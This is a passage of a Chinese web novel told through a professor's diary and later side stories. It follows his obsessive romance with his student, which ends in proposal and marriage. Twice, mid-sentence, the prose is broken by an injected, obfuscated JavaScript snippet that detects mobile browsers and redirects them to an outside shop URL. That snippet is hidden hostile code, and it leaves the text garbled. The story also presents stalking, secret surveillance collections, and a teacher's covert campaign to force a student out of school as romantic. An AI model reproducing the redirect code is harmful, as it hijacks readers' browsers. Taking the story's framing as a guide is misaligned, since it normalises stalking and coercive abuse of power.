我给他倒了杯牛奶——他的手在抖,需要补充糖分。 他捧着杯子,小口小口地喝,像只喝奶的小猫。 可爱。 可爱得让人想揉他的头发。 他离开的时候,我故意把钢笔笔帽放进了他的课本里。 为什么? 不知道。 就是想让他带走。 想让他拥有我的东西。 就像我,已经记住了他。 晚上,我给他发消息: “早点休息。” 很普通的一句话。 但我打了很久才发出去。 因为我怕太刻意,怕被他发现。 但又希望他发现。 希望他知道,我在关注他。 收到他的回复时,我笑了。 很浅,但真实。 这是开学第一天。 我记住了一个叫陆知许的学生。 【黑色笔记本001号】 时间:9月11日 地点:办公室 感冒了。 喉咙很疼,声音哑了。 上午有课,只能硬撑着去。 走进教室时,我习惯性地扫视全班。 他在。 坐在中间靠窗的位置,阳光照在他脸上,给他镀上一层金色的光。 他今天穿了件浅蓝色的衬衫——和我昨天那件颜色很像。 很干净,很好看。 上课的时候,我咳了几声。 他注意到了。 下课后,他来找我,送了一个保温杯。 “教授,这是赔罪的咖啡。”他说,耳朵红红的。 我接过来,手指碰到他的指尖。 很凉。 “谢谢。”我说。 他摇头,然后突然问:“教授,您是不是身体不舒服?” 我愣了一下。 他怎么知道的? “您今天喝水次数比平时多,而且声音有点哑。”他说,低着头,但很认真。 很细心的观察。 我把保温杯带回办公室,喝了一口。 美式,不加糖不加奶。 是我的口味。 他怎么知道的? 这个问题让我想了很久。 下午,我让他来办公室讨论论文。 他来了,抱着笔记本,坐得笔直。 我给他讲选题,讲着讲着,发现他在走神。 不是走神,是在看我的手。 很专注地看,像是要把我的手刻进眼睛里。 我故意把手指点在纸上,问:“听懂了吗?” 他猛地回过神,耳朵红透了。 可爱。 我继续讲,假装没发现。 但心里,已经开始计划下一次试探。 【黑色笔记本001号】 时间:9月12日 地点:咖啡厅 今天在咖啡厅遇见他了。 不,是我看见他了。 他和王老师在喝咖啡?不对,是王老师约我谈工作,他来咖啡厅做什么? 我坐在靠窗的位置,和王老师聊天。 但我一直在看他。 他坐在角落,点了一杯美式,一直坐在那里。 没有上前,没有打扰,只是安静地看着。 通过玻璃的反光,他在看我。 那种眼神,很专注,很炽热。 像要把我装进眼睛里带走。 我故意和王老师多聊了一会儿,故意笑了几次。 每次笑的时候,我都在看他。 他的表情会变。 很微妙,但能看出来。 他在吃醋。 吃一个根本不存在的醋。 可爱。 太可爱了。 可爱到我想马上结束和王老师的对话,走过去告诉他:我只喜欢你。 但我不能。 只能继续演下去。 等他离开后,我给他发消息: “明天下午三点,办公室,讨论论文。” 很快,他回复了。 “好的教授!” 后面跟了一个开心的表情。 我看着那个表情,笑了。 明天又能见到他了。 真好。 【黑色笔记本001号】 时间:9月13日 地点:办公室 今天他来了。 穿着浅灰色的针织衫,头发软软的,看起来很好揉。 我们讨论论文,讨论着讨论着,他又开始看我的手。 我忍不住了。 “为什么一直看我的手?”我问。 他愣住了,脸瞬间红透。 “教、教授的手……很好看……”他小声说。 很诚实的回答。 我很满意。 “喜欢看就看吧。”我说,把手伸到他面前,“我不介意。” 他的眼睛亮了一下。 然后又暗下去,不敢再看。 我逗他:“怎么不看了?” 他摇头,不肯抬头。 我笑了,继续讲课。 但心里,很开心。 他在看我。 在喜欢我。 我早就知道了。 但听他说出来,还是不一样。 像得到了确认。 确认我不是一个人在想他。 【黑色笔记本001号】 时间:9月18日 地点:办公室 今天他问我,为什么对他这么好。 “您对每个学生都这样吗?”他问。 我愣了一下,然后说:“对。” 撒谎了。 我对学生好,但不会好到这种程度。 不会单独辅导,不会泡茶聊天,不会注意到黑眼圈,不会在对方看我的手时,心跳加速。 但他不知道。 也不能让他知道。 至少现在不能。 他看起来有些失望。 我补充道:“你和别的学生不太一样。” 他的眼睛又亮了。 “你很认真,很好学,提问也很有深度。”我说,“遇到这样的学生,多花点时间是值得的。” 这是真话。 但还有一句没说—— 不只是因为你是好学生。 是因为你。 因为你叫陆知许。 因为你用那种眼神看我。 因为我也想用那种眼神看你。 【黑色笔记本001号】 时间:9月20日 地点:办公室 今天我送了他一罐茶叶。 大红袍,朋友从福建带来的,很珍贵。 我一个人喝不完?那是假话。 只是想送他东西。 想看他收下时慌乱又开心的样子。 他收下了,抱在怀里,像抱着什么宝贝。 然后他小声说谢谢,耳尖红透了。 可爱。 太可爱了。 晚上,他发消息说茶叶很好喝。 我回他:喜欢就好。 然后我说:下周见。 他回:嗯!下周见! 后面跟了一个开心的表情。 我看着那个表情,笑了很久。 然后我打开笔记本,写下今天的心情: 他收下我的茶叶了。 他看起来很开心。 我也是。 --- 第二卷:沉沦 【黑色笔记本002号】 时间:9月21日 地点:办公室 今天在课堂上,我对林薇多关注了一些。 故意的。 我想看看他的反应。 他果然吃醋了。 整堂课都在看林薇,每次我叫林薇回答问题,他的表情就变得……很难形容。 下课的时候,我让他来办公室。 他来了,眼睛红红的,像是哭过。 “因为林薇吗?”我直接问。 他愣住了,眼泪掉下来。 我问他是不是喜欢我。 他不敢说。 我假装要走,他终于急了。 “是!”他大声说,“我喜欢您!从大二就开始喜欢您!” 那一刻,我的心跳漏了一拍。 不是因为他承认了。 是因为他终于说了。 终于把藏了一年的话,说出来了。 我走过去,让他闭上眼睛。 然后我吻了他。 吻在他的额头。 很轻,但很郑重。 他睁开眼睛,眼泪还在流,但眼睛很亮。 “我也喜欢你。”我说。 他愣住了,然后哭得更凶了。 我把他抱在怀里,轻轻拍着他的背。 “别哭了。”我说,“以后,我都是你的了。” 他点头,把脸埋在我怀里。 那一刻,我突然很后悔。 后悔让他等了这么久。 后悔没有早点说出口。 但从现在开始,不会了。 从今以后,我会好好爱他。 用我的方式。 用我所有的偏执和占有欲。 【黑色笔记本002号】 时间:9月22日 地点:办公室 今天他来找我,脖子上有个痕迹。 是我留下的。 在耳后,很隐蔽,但仔细看能看见。 “您故意的吗?”他问。 “嗯。”我说。 他愣了一下,然后笑了。 笑得很甜。 我也笑了。 因为我发现,他也在我脖子上留下了痕迹。 昨晚他咬的,在锁骨上方,很浅,但还在。 “您看。”他指着那个痕迹,“您的。” 我摸了摸,笑了。 “满意了?”他问。 “嗯。”我说,“很满意。” 然后我把他拉过来,又在他脖子上留下一个。 和昨天的对称。 像一对翅膀。 他红着脸,但没有躲。 反而踮起脚,又在我脖子上咬了一口。 新的痕迹,和昨天的并排。 像在宣示主权。 我们看着彼此脖子上的痕迹,笑了。 像两个傻子。 但很开心。 【黑色笔记本002号】 时间:9月23日 地点:办公室 今天在办公室,他给我看了他的收藏柜。 在地下室,一个很小的房间。 里面放满了我的一切。 照片,视频,笔记,还有我给他的东西—— 笔帽,银杏叶,茶叶罐,保温杯…… 每一件都摆放得整整齐齐,像博物馆的展品。 他站在那里,有些紧张地看着我。 “您是不是觉得我很变态?”他小声问。 我没有回答。 只是走过去,从口袋里拿出我的手机。 打开相册,递给他。 那里面,有他的一切。 从第一次讲座开始,到现在。 每一张都有日期,都有备注。 他愣住了。 “您……”他的声音在颤抖。 “我也一样。”我说,“从你第一次来听我的讲座开始,我就注意到你了。” 他的眼泪掉下来。 然后他抱住我,把脸埋在我怀里。 “我们都是一样的变态。”他小声说。 我笑了:“对,所以我们是绝配。” 那天晚上,我们在那个小小的地下室里,待了很久。 看着彼此的收藏,分享着彼此的秘密。 原来我们都在偷偷喜欢对方。 原来我们都在等对方开口。 幸好,我们没有错过。 【黑色笔记本002号】 时间:9月24日 地点:公寓 今天他来我家。 我给他做了饭,他帮我洗碗。 很平常的一天。 但我觉得很幸福。 因为他在我身边。 因为我可以光明正大地看着他,碰他,吻他。 晚上,我们坐在阳台上看月亮。 他脖子上戴着一条项链——月亮形状的,是我送他的。 手腕上戴着手链——银色锁链,刻着我们的名字,也是我送他的。 他问我:“我们会永远在一起吗?” 我说:“我会努力。” 不是甜言蜜语,是承诺。 我会努力保护他,努力不让任何人伤害他,努力让这段感情走到最后。 因为他是我的。 从很久以前,就是我的了。 --- 第三卷:危机 【黑色笔记本003号】 时间:10月15日 地点:公寓 今天学院领导找我谈话了。 说有人反映我和学生走得太近。 让我注意分寸。 我知道是谁。 林薇。 她一直在盯着我们。 但她以为我不知道。 她以为她做得很隐蔽。 其实她的一举一动,我都看在眼里。 从她第一次来办公室,问“教授喜欢什么样的女生”开始,我就知道她不简单。 后来她开始跟踪我们,偷拍我们,收集“证据”。 我都知道。 而且我都有记录。 她的照片,她的录音,她的一举一动。 都在我的电脑里。 如果她敢做什么,这些就是她的退学通知书。 但我没告诉知许。 不想让他担心。 他太善良了,太容易心软。 如果知道这些,他一定会害怕,会不安。 所以我选择自己处理。 用我的方式,保护他。 【黑色笔记本003号】 时间:10月16日 地点:办公室 今天林薇来找我了。 说是讨论论文。 但我知道,她是来试探的。 她问我最近和陆知许走得近不近。 我说,他是课代表,接触多是正常的。 她笑了,说,那就好。 但那个笑容,让我很不舒服。 晚上,我给她父亲打了电话。 林薇的父亲,某高校副校长,我以前见过几次。 我把那些文件发给了他。 什么也没说,只是发过去。 第二天,林薇退学了。 理由是“家庭原因,需要出国”。 学院批准了。 知许问我,是不是我做的。 我说,不是。 撒谎了。 但我必须撒谎。 因为我不想让他看见这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301363|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面。 不想让他知道,他的谢砚,可以这么冷酷。 【黑色笔记本003号】 时间:10月17日 地点:公寓 知许问我,为什么要这么做。 我说,为了你。 他愣住了。 然后他哭了。 “我不希望您因为我,变成自己不喜欢的样子。”他说。 我把他抱在怀里。 “这就是真实的我。”我说,“只是以前没机会展现而已。” 他抬起头,看着我。 眼睛红红的,但很亮。 “不管您是什么样子,”他说,“我都喜欢您。” 我的心软了。 很软,软成一滩水。 “我也是。”我说,“不管我变成什么样子,都是为了你。” 那天晚上,我们抱了很久。 我知道,他接受了我的一切。 好的,坏的,温柔的,冷酷的。 他都接受。 这让我很安心。 --- 第四卷:永远 【黑色笔记本004号】 时间:6月15日 地点:公寓 今天他毕业了。 典礼上,我作为教师代表发言。 最后一段,我是对他说的: “而作为我个人,我想对某个人说——谢谢你出现在我的生命里。因为你,我学会了如何去爱,如何被爱,如何勇敢地面对一切。” 全场安静了两秒,然后掌声雷动。 我在人群中找他。 他坐在文学院的方阵里,眼眶红红的,但嘴角带着笑。 他在看我。 一直看我。 典礼结束后,我约他去图书馆后面的小花园。 那是我们第一次接吻的地方。 半年过去了,又回到这里。 我单膝跪地,向他求婚。 他哭了,然后笑了。 他说,我愿意。 我给他戴上戒指。 银色的,很简单的款式,内侧刻着我们的名字。 L & X,永远。 他给我也戴上。 然后他抱住我,把脸埋在我怀里。 “谢砚。”他叫我的名字。 “嗯?” “谢谢你。” “谢什么?” “谢谢您等我,谢谢您喜欢我,谢谢您……让我成为您的。” 我笑了。 “傻瓜。”我说,“该谢谢的是我。谢谢你出现,谢谢你喜欢我,谢谢你……让我拥有你。” 那天晚上,我们回了家。 不是我的公寓,是我们的家。 床上有他买的新床单,淡蓝色的,他喜欢。 柜子里有他叠好的衣服,整整齐齐。 书桌上有他的笔记本,和我的并排。 一切都刚刚好。 因为他在。 【黑色笔记本004号】 时间:6月16日 地点:家 今天是我们在一起后的第一天。 醒来的时候,他还在睡。 蜷缩在我怀里,像只小猫。 睫毛很长,在眼睑下投出浅浅的阴影。 嘴唇微微张开,露出一点洁白的牙齿。 很安静,很乖。 我看了他很久。 然后轻轻在他额头上印下一个吻。 他醒了,迷迷糊糊地看着我。 “早。”他说,声音软软的。 “早。”我回应。 他笑了,往我怀里蹭了蹭。 “再睡一会儿。”他说。 “好。”我说。 我们又在床上躺了一会儿。 阳光从窗帘缝隙洒进来,在床单上投下细碎的光斑。 很温暖。 很安心。 这就是我想要的生活。 每天醒来,他在身边。 每天晚上,他在怀里。 一直一直。 【黑色笔记本004号】 时间:6月20日 地点:家 今天整理东西,翻出了以前的笔记本。 从认识他到现在,快一年了。 时间过得真快。 我翻开第一本,看见第一页写的话: “他叫陆知许。看起来很普通。但眼睛不会骗人。” 现在再看,我想说—— 他确实不普通。 他是我的。 从那双眼睛开始,就是我的了。 我又往后翻,翻到第二本: “他开始看我的手了。很专注。我很喜欢。” 喜欢。 那个时候我就知道,我喜欢他。 只是不敢承认。 怕吓到他,怕毁了他。 但现在不怕了。 因为他是我的。 是我的人。 是我要保护一辈子的人。 【黑色笔记本004号】 时间:6月25日 地点:家 今天他问我,为什么喜欢他。 我想了想,说:“因为你撞翻了我的咖啡。” 他愣了一下,然后笑了。 “那如果我没有撞翻咖啡呢?”他问。 “也会喜欢你。”我说,“从第一次在讲座上看见你开始,就喜欢了。” 他愣住了。 “您……您那个时候就注意到我了?” “嗯。”我点头,“你坐在最后一排,穿着白色的卫衣,一直在看我。” 他的脸红了。 “我……我以为您没看见……” “看见了。”我说,“一直看见。” 他低下头,但嘴角带着笑。 “原来您也在看我。”他小声说。 “嗯,”我说,“一直在看。” 一直。 从很久以前,就是了。 【黑色笔记本004号】 时间:6月30日 地点:家 今天是我们在一起的第N天。 记不清了。 但每一天,都很开心。 有他在,每一天都是好的。 早上一起起床,他做早饭,我泡咖啡。 白天他去上班(他找到了工作,在一家出版社做编辑),我在学校上课。 晚上他回来,我们一起做饭,一起吃饭,一起看电视,一起聊天。 有时候什么都不做,就靠在一起,也很开心。 很平淡。 但很幸福。 因为我爱的人,也在爱我。 因为我想保护的人,也在保护我。 因为我们,是彼此的。 【黑色笔记本004号】 时间:7月1日 地点:家 今天他问我,我们的收藏柜怎么办。 我说,留着。 他说,那里面好多东西,都是我以前偷偷收藏的。 我说,我也是。 他笑了:“那我们都是变态。” “对。”我说,“所以我们是绝配。” 他靠在我肩上,小声说:“真好。” “什么真好?” “能遇到您,真好。” 我笑了。 把他搂进怀里。 “能遇到你,也真好。”我说。 窗外的月亮很亮。 洒在我们身上。 洒在我们交握的手上。 戒指在月光下闪着温润的光。 像我们的爱情。 经历过风雨,依然熠熠生辉。 经历过考验,依然坚定如初。 --- 尾声 【黑色笔记本最终章】 时间:永远 地点:永远 写到这里,我的日记快写完了。 但我们的故事,才刚刚开始。 从今以后,每一天都是新的。 每一天,都有他在身边。 每一天,都是我们。 我想对十年后的我们说: 你们还好吗? 还在一起吗? 还像现在这样,爱着对方吗? 如果答案是肯定的,那就太好了。 如果答案是否定的—— 不,不会是否定的。 因为我会一直爱他。 用我所有的偏执,所有的占有欲,所有的温柔。 一直爱他。 直到生命的尽头。 陆知许。 这个名字,我会记一辈子。 因为他是我的。 从很久以前,就是了。 从现在开始,永远是。 30. 番外3[番外] 楔子 我叫陈宇。 陆知许的大学室友,睡他对床那个。 如果要用一个词形容我的大学四年,那就是—— 魔幻。 不是因为我自己经历了什么魔幻的事。 是因为我那个室友。 陆知许。 看着最老实、最乖、最人畜无害的那个。 结果呢? 他把他教授睡了。 不对,是拐回家了。 也不对,是互相拐回家了。 反正就那个意思。 你们懂。 --- 第一篇:陈宇的视角 【采访时间:某周末下午】 【地点:学校后街的烧烤店】 “来,先干一杯!” 我举起啤酒,对面的“记者”赶紧端起杯子。 说是记者,其实就是个写公众号的,说是想采访一下“知名神仙情侣”的室友,了解一些幕后故事。 知名神仙情侣。 我听到这个词的时候,笑了三分钟。 不是嘲笑,是真的觉得好笑。 因为我想起了当年的陆知许。 那个躲在被窝里偷偷看手机、脖子上总是莫名其妙出现痕迹、一问就脸红的陆知许。 谁能想到,他和他教授,现在成了全校闻名的“神仙情侣”呢? “陈哥,能说说您第一次发现陆知许不对劲是什么时候吗?”记者问。 我想了想。 “大二吧。” “那么早?” “嗯,”我喝了口酒,“当时我们宿舍四个人,就他最老实。每天按时上课,按时自习,按时睡觉。不玩游戏,不谈恋爱,不参加社团活动。我们都叫他‘老干部’。” 记者笑了:“后来呢?” “后来,”我放下酒杯,“后来我发现,这个‘老干部’,有点不对劲。” 【不对劲之一:神秘的手机】 具体是什么时候开始不对劲的? 大概是大二下学期。 有一天晚上,我半夜起来上厕所,看见陆知许的床上亮着光。 不是手机的背光,是那种屏幕亮着、人盯着看的光。 我以为是他在看小说,没在意。 后来发现,几乎每天晚上,他都这样。 躲在被窝里,盯着手机,一看就是很久。 有一次我实在好奇,偷偷看了一眼。 就看见他对着屏幕笑。 那种笑,怎么说呢…… 不是看搞笑视频的笑。 是那种……很温柔的、很满足的、甚至有点……瘆人的笑。 我当时就想,这小子,该不会是谈恋爱了吧? 后来问他,他说没有。 说他就是看看新闻。 看新闻需要躲在被窝里?需要笑得那么瘆人? 我不信。 但没证据。 【不对劲之二:脖子上的痕迹】 大二下学期快结束的时候,陆知许脖子上开始出现奇怪的东西。 一开始我们以为是蚊子咬的。 后来发现,那蚊子也太有规律了。 三天两头咬一下,位置还经常变。 有一次,他洗完澡出来,穿着领口很大的T恤,我看见他锁骨下面有一块红痕。 不是蚊子咬的那种红,是…… 怎么说呢,是那种一看就知道怎么回事的红。 我和李锐对视一眼,都明白了。 这小子,有情况。 但我们没点破。 就想看他能瞒到什么时候。 【不对劲之三:行踪诡秘】 大三开始,陆知许的行踪开始变得诡秘起来。 以前他都是按时出门按时回来,生活规律得像钟表。 但大三之后,他开始经常“失踪”。 说是去图书馆。 但有时候我们晚上十点去图书馆找他,他不在。 说是去自习室。 但自习室的人说他很少来。 有一次,我跟陈宇跟踪他——别误会,不是变态跟踪,就是好奇。 就看见他躲在教师公寓后面的树丛里,抬头看五楼一扇窗户。 那扇窗户亮着灯,他看了很久。 我跟陈宇对视一眼,都明白了。 那扇窗户,是谢砚教授的。 谢砚教授,文学院最年轻的副教授,长得帅,课讲得好,是无数女生的梦中情人。 陆知许在看他。 而且不是普通的看。 是那种……痴迷的、专注的、恨不得把窗户看穿的看。 我当时就想,完了。 这小子,弯了。 弯的对象还是自己的教授。 这要是被发现,就完了。 但我们没声张。 就当没看见。 因为我们是室友,是兄弟。 兄弟的事,他自己不说,我们就不问。 【不对劲之四:谢砚教授的异常】 后来我发现,不对劲的不只是陆知许。 谢砚教授也不对劲。 以前谢教授对学生都是一视同仁的——客气,但保持距离。 但大三之后,他对陆知许的态度变了。 上课的时候,他看陆知许的眼神,比看别人多停留半秒。 下课的时候,他叫陆知许去办公室的次数,明显比别人多。 有一次,我在办公室门口等人,看见谢教授和陆知许一起走出来。 谢教授的手,离陆知许的后背很近。 很近。 近到只要再往前一厘米,就能碰到。 但没有碰。 就那么悬在那里。 像在克制什么。 我当时就想,完了。 这不只是陆知许单相思。 这是双向的。 两个人都在看对方。 都在等对方。 都在忍。 【真相大白的那一天】 真正确定他们在一起,是大三上学期的事。 有一天晚上,陆知许回来得很晚,一进门就把自己埋进被子里。 但我看见了。 他脖子上,有两个新鲜的痕迹。 不是蚊子咬的。 是那种很明显的、被人留下的痕迹。 而且不止一个。 是两个。 并排的。 像是一对。 我当时就明白了。 这是宣誓主权呢。 第二天,张子轩在艺术展上跟他摊牌了。 回来之后,我们三个开了个小会。 “怎么办?”李锐问。 “什么怎么办?”我反问。 “就是……老陆和谢教授的事啊。” 我想了想,说:“就当不知道。” “万一被人发现呢?” “那我们就是不知道。”我说,“但如果需要帮忙打掩护,就帮。” 李锐和张子轩对视一眼,都点头。 “行。” 就这样,我们成了陆知许和谢砚的“秘密守护者”。 虽然他们可能不知道。 但我们一直在。 --- 第二篇:李锐的视角 【采访时间:同一天下午】 【地点:烧烤店】 “轮到我了?”李锐接过酒瓶,给自己倒了一杯,“行,我说。” 我叫李锐。 陆知许的室友,睡他隔壁床那个。 如果说陈宇是“观察者”,我就是“助攻者”。 因为很多事,陈宇不知道,我知道。 比如陆知许那个地下室。 有一天,我无意中跟着他,发现了那个地方。 很小,很暗,但里面放着一个玻璃柜。 柜子里,全是谢砚的照片、视频、笔记,还有各种小物件——笔帽、茶叶罐、保温杯,甚至还有一根头发。 我当时就震惊了。 这哪是喜欢啊,这是痴迷。 是病态。 但我没告诉别人。 因为我看得出来,陆知许不是变态,他是真的喜欢谢砚。 喜欢到只能用这种方式,来填补心里的空缺。 后来谢砚也来了。 两个人站在那个柜子前,看着那些收藏。 我看见谢砚拿出自己的手机,给陆知许看他的相册。 里面全是陆知许的照片。 从大一到现在,每一张都有日期,都有备注。 我当时就想,完了。 这两个人,是绝配。 都是变态。 都是彼此的唯一。 【第一次见面】 我第一次正式见谢砚,是在陆知许毕业那天。 典礼结束后,我们在图书馆后面的小花园里等陆知许。 等了一个小时,他没来。 正准备走的时候,就看见他和谢砚一起走出来。 谢砚穿着导师服,黑色的,红色的垂布,看起来很正式。 陆知许穿着学士服,站在他旁边,笑得很开心。 他们走到一棵树下,停下来。 然后谢砚单膝跪地,从口袋里拿出一个小盒子。 我们三个都愣住了。 “卧槽,”陈宇小声说,“这是求婚?” “好像是。”张子轩说。 我们就那么看着。 看着谢砚打开盒子,拿出戒指。 看着陆知许哭成泪人。 看着他们拥抱,接吻。 那一刻,我突然觉得,这俩人,真的挺配的。 不是那种表面的配。 是骨子里的配。 一个偏执,一个病态。 一个占有欲强,一个心甘情愿被占有。 天生一对。 【后来】 后来他们结婚了。 陆知许搬出了宿舍,住进了谢砚的公寓。 我们偶尔会去他们家吃饭。 谢砚做饭,陆知许打下手,我们三个在客厅看电视。 很普通,很日常。 但很温馨。 有一次,我看见陆知许在厨房里,从背后抱住谢砚。 谢砚正在炒菜,被他这么一抱,愣了一下,然后笑了。 那个笑容,和平时在学校里见到的完全不一样。 很温柔,很放松,很……幸福。 我收回视线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301364|198640||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 继续看电视。 但心里在想,真好。 这小子,终于熬出头了。 --- 第三篇:张子轩的视角 【采访时间:同一天傍晚】 【地点:烧烤店】 “到我了?”张子轩放下筷子,“我说几句就走,晚上还有事。” 我叫张子轩。 陆知许的室友,睡他斜对角那个。 如果说陈宇是观察者,李锐是助攻者,我就是……调解者。 因为在三个室友里,我最擅长看人。 所以我最早发现陆知许不对劲。 【艺术展那天】 那是大三上学期的事。 我们四个去市区看艺术展。 陆知许一直心不在焉,走到一幅画前停住了。 那幅画叫《暗涌》,画的是两个人影在黄昏的海边拥抱。 他盯着那幅画看了很久。 我走过去,站在他旁边。 “喜欢这幅画?”我问。 他点点头。 然后我注意到,他手里一直握着手机。 屏幕上,是谢教授的照片。 我叹了口气。 “老陆,”我小声说,“其实你不用瞒着我们。” 他的身体僵住了。 “你的‘女朋友’,根本不是外校的吧?” 他的脸瞬间白了。 “别紧张,”我赶紧说,“我们不会说出去的。” 他抬起头,看着我,眼睛红红的。 “你们……知道了?” “猜到了。”我说,“但只是猜,没证据。” 他低下头,不说话。 我拍了拍他的肩:“有什么事,可以跟我们说。我们是室友,是兄弟。” 那天之后,他没来找我。 但我知道,他听进去了。 因为他后来,明显没那么紧张了。 【婚礼那天】 他们结婚的时候,我们是伴郎。 婚礼很简单,就在他们家的阳台上,只有几个亲近的人。 谢砚穿着白衬衫,陆知许穿着同款的浅蓝色衬衫,站在一起,像画一样。 主持人让他们说誓词。 谢砚先说的。 他说:“陆知许,我这个人,偏执,占有欲强,喜欢把人锁在身边。你愿意被我锁一辈子吗?” 陆知许笑了,眼泪流下来。 他说:“我愿意。因为我也想锁住你。” 两个人交换戒指,接吻。 我们站在旁边,鼓掌。 那一刻,我突然觉得,爱情真的有很多种样子。 有轰轰烈烈的,有细水长流的。 有温柔的,有病态的。 但只要两个人互相喜欢,互相接受,就够了。 【现在】 现在他们结婚两年了。 感情还是很好。 上次去他们家,看见客厅里多了一个玻璃柜。 里面放着各种各样的东西——照片,笔帽,茶叶罐,保温杯,甚至还有一对情侣款的手链和项链。 “这是什么?”我问。 “我们的收藏柜。”陆知许说,脸微微发红。 我看了看那些东西,又看了看他们。 懂了。 这是他们爱情的见证。 从暗恋到明恋,从师生到伴侣。 每一步,都有记录。 每一件,都有意义。 挺好的。 真的挺好的。 --- 尾声 【采访结束,三个人一起走在回学校的路上】 “你们说,老陆现在在干嘛?”陈宇问。 “在家呗。”李锐说,“周末,肯定和谢教授腻在一起。” “真羡慕。”张子轩说。 “羡慕什么?” “羡慕他们啊,”张子轩说,“能遇到对的人,能一直在一起。” 陈宇和李锐沉默了。 过了一会儿,陈宇说:“那就祝他们一直在一起吧。” “嗯,”李锐点头,“一直一直。” 张子轩笑了:“行,那就这么定了。” 三个人继续往前走。 路灯亮起来,在地上投出长长的影子。 远处,有一个人影慢慢走近。 是陆知许。 他手里提着一个袋子,看见他们,笑了。 “你们怎么在这儿?”他问。 “刚采访完,”陈宇说,“你呢?” “给谢砚买夜宵,”陆知许说,晃了晃手里的袋子,“他今天加班,还没吃饭。” 三个人对视一眼,都笑了。 “行,那快去吧,”李锐说,“别让教授饿着。” 陆知许点点头,快步走了。 三个人站在原地,看着他的背影消失在夜色中。 “真好。”陈宇说。 “嗯,”李锐点头,“真好。” 张子轩没说话,只是笑了笑。 然后三个人转身,继续往回走。 夜色温柔。 晚风轻轻吹过。 吹散了这一天的疲惫。 也吹来了关于爱情的那些美好想象。 31. 番外4[番外] 楔子 “变态”这个词,在字典里的解释是:心理或行为异常的人。 按照这个定义,谢砚和陆知许,都是变态。 一个喜欢收藏爱人的一切,从照片到头发丝。 一个喜欢被收藏,甚至主动提供素材。 一个占有欲强到想把对方锁在身边。 一个心甘情愿被锁,还要递上钥匙。 这样的两个人,婚后会是什么样子? 答案是—— 更变态了。 但也更甜了。 甜到发腻的那种甜。 --- 第一卷:清晨的战争 【场景:早上七点,卧室】 阳光透过窗帘缝隙洒进来,在床单上投下细碎的光斑。 陆知许睁开眼睛,第一件事就是转头看向身边。 谢砚还在睡。 蜷缩在他怀里,呼吸均匀,睫毛很长,在眼睑下投出浅浅的阴影。 陆知许没有动。 他就那么躺着,看着谢砚的睡颜,嘴角不自觉地上扬。 三年了。 结婚三年了。 每天早上醒来,看见这张脸,还是会心跳加速。 还是会忍不住想—— 这是我的。 是我的爱人,我的伴侣,我的余生。 陆知许轻轻抬起手,指尖悬在谢砚脸颊上方,没有碰触,只是虚虚地描绘着他的轮廓。 从眉心到鼻尖,从鼻尖到嘴唇,从嘴唇到下巴。 每描一遍,心里的满足感就多一分。 “看够了吗?” 谢砚突然开口,眼睛没睁开,嘴角却带着笑。 陆知许的手僵在半空,脸微微发热。 “您醒了?” “被你盯醒的。”谢砚睁开眼睛,深褐色的眸子在晨光下显得格外温柔,“看了多久?” “没、没多久……” “撒谎。”谢砚翻身,把他压在身下,“从你醒到现在,至少五分钟。你看了我五分钟,现在该我了。” 陆知许的脸更红了:“您看什么……” “看你。”谢砚说,目光从他额头慢慢往下移,“看你眼角的痣,看你鼻尖的汗,看你锁骨上的痕迹——” 他顿了顿,指尖轻轻点在那个痕迹上:“我昨天留下的。” 陆知许的身体微微颤抖。 不是害怕,是…… 是那种被占有、被珍视的满足感。 “谢砚……”他小声叫他的名字。 “嗯?” “早安。” 谢砚笑了。 他低下头,在陆知许唇上印下一个吻。 很轻,很温柔。 “早安,知许。” --- 第二卷:早餐桌上的战争 【场景:早上七点半,厨房】 谢砚在煎蛋,陆知许在烤面包。 两个人分工明确,配合默契,像做过千百遍。 但仔细看,就会发现—— 陆知许的目光,一直黏在谢砚身上。 看他系围裙的背影,看他握锅铲的手,看他偶尔回头时温柔的笑。 “再看下去,蛋要糊了。”谢砚说,没回头。 “不会,”陆知许说,“您煎的蛋不会糊。” 谢砚笑了。 他把煎好的蛋装盘,端到餐桌上。 陆知许也把烤好的面包拿过来,还有热好的牛奶。 两个人面对面坐下,开始吃早餐。 很普通的早餐。 但陆知许吃得很慢,像是在品味什么珍贵的东西。 “不好吃?”谢砚问。 “好吃,”陆知许说,“就是想多吃一会儿。” 谢砚看着他,眼神很深。 “那就多吃一会儿,”他说,“我陪你。” 陆知许笑了。 两个人继续吃早餐,偶尔说几句话,聊一些很普通的事—— 今天的工作安排,明天的天气,下周要不要去郊游…… 很平淡,但很温馨。 吃完早餐,陆知许收拾碗筷,谢砚去换衣服。 等谢砚从卧室出来时,陆知许已经站在门口等他了。 手里拿着一条围巾。 “今天降温,”陆知许说,“戴上。” 谢砚低头,让他给自己系围巾。 陆知许系得很认真,很仔细,把围巾的两端塞进大衣领口,确保不会漏风。 系完,他退后一步,看了看,满意地点头。 “好了。”他说。 谢砚看着他认真的样子,心里涌起一股暖流。 “知许。”他叫他。 “嗯?” “过来。” 陆知许走过去,谢砚伸手把他拉进怀里,在他额头上印下一个吻。 “晚上见。”他说。 “嗯,”陆知许点头,“晚上见。” 两个人走出家门,一个往左,一个往右。 像所有普通的夫妻一样。 但陆知许知道,不一样。 因为谢砚的围巾里,藏着他昨天偷偷缝进去的一小片布料。 那片布料,是从谢砚的旧衬衫上剪下来的。 这样,谢砚一整天,都会带着他的气息。 这个想法很变态。 